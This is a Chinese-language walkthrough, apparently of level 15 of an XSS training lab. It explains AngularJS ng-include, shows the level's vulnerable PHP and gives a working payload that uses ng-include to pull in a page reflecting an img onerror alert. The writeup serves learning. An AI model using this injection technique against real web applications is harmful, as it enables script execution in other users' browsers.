Angular Js XSS漏洞

ngularJS 是一個 JavaScript 框架。它可通過 <script> 標籤添加到 HTML 頁面。

AngularJS 通過 指令 擴展了 HTML,且通過 表達式 綁定數據到 HTML。

編寫html文檔的時候,爲了實現代碼模塊化,增加複雜頁面的代碼可讀性和可維護性,我們常常會想到將代碼分散寫入不同的HTML文件

angularJS裏面的ng-include指令結合ng-controller能夠很方便的實現這個目的

ng-include 指令用於包含外部的 HTML 文件。

ng-include可以作爲一個屬性,或者一個元素使用

AngularJS 可以直接加載html和js代碼了

AngularJS引入的html文件只能加載script標籤內的代碼。被引入的html 內如果有加載外部js的話是不會執行的

AngularJS 擴展了 HTML

AngularJS 通過 ng-directives 擴展了 HTML。

ng-app 指令定義一個 AngularJS 應用程序。

ng-model 指令把元素值(比如輸入域的值)綁定到應用程序。

ng-bind 指令把應用程序數據綁定到 HTML 視圖。

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<script src="https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js"></script>
</head>
<body ng-app="">

<div ng-include="'myFile.htm'"></div>

</body>
</html>
​​​​

 

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<script src="https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js"></script>
</head>
<body>
 
<div ng-app="">
     <p>名字 : <input type="text" ng-model="name"></p>
     <h1>Hello {{name}}</h1>
</div>
 
</body>
</html>

 

 

可以利用AngularJS的這一性質進行XSS

查看網頁源代碼:

查看服務器端PHP代碼

<html ng-app>
<head>
        <meta charset="utf-8">
        <script src="angular.min.js"></script>
<script>
window.alert = function()  
{     
confirm("完成的不錯!");
 window.location.href="level16.php?keyword=test"; 
}
</script>
<title>歡迎來到level15</title>
</head>
<h1 align=center>歡迎來到第15關,自己想個辦法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>


上述PHP代碼使用get方法傳遞參數,並且將參數進行了HTML實體轉換,而且沒有輸出到<script>n內,但是輸出到了ng-include裏面,可以讓它直接包含第一關中的payload及js代碼

因此構建payload爲:

/level15.php?src='level1.php?name=test<img src=1 onerror=alert(1)>'

完成彈窗

 

 

 

 

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章